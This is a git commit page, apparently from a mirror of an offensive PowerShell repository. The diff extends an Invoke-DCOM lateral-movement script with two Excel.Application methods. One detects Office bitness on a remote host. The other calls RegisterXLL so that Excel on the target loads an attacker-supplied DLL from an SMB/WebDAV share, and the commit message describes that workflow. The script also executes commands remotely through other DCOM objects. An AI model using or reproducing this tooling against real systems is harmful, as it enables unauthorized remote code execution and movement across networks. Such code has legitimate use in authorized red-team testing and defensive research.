mirror of
https://github.com/rvrsh3ll/Misc-Powershell-Scripts
synced 2026-06-21 14:09:04 +00:00
Added Excel.Application methods, originally discovered by @RyHanson. Use DetectOffice to detect the Office bitness, and then host the appropriate DLL on a SMB/WebDAV share. Then use RegisterXLL with the path to your DLL and it will be loaded by Excel on the target system.
This commit is contained in:
+21
-2
@@ -50,7 +50,8 @@ function Invoke-DCOM {
|
||||
$ComputerName,
|
||||
|
||||
[Parameter(Mandatory = $true, Position = 1)]
|
||||
[ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart")]
|
||||
[ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart",
|
||||
"DetectOffice","RegisterXLL")]
|
||||
[String]
|
||||
$Method = "MMC20",
|
||||
|
||||
@@ -60,7 +61,12 @@ function Invoke-DCOM {
|
||||
|
||||
[Parameter(Mandatory = $false, Position = 3)]
|
||||
[string]
|
||||
$Command= "calc.exe"
|
||||
$Command= "calc.exe",
|
||||
|
||||
[Parameter(Mandatory = $false, Position = 4)]
|
||||
[string]
|
||||
$DllPath,
|
||||
|
||||
)
|
||||
|
||||
Begin {
|
||||
@@ -163,6 +169,19 @@ function Invoke-DCOM {
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$obj.Document.Application.ServiceStart("$ServiceName")
|
||||
}
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$isx64 = [boolean]$obj.Application.ProductCode[21]
|
||||
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
|
||||
}
|
||||
elseif ($Method -Match "RegisterXLL") {
|
||||
|
||||
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
|
||||
$Obj = [System.Activator]::CreateInstance($Com)
|
||||
$obj.Application.RegisterXLL("$DllPath")
|
||||
}
|
||||
}
|
||||
|
||||
End {
|
||||
|
||||
Reference in New Issue
Block a user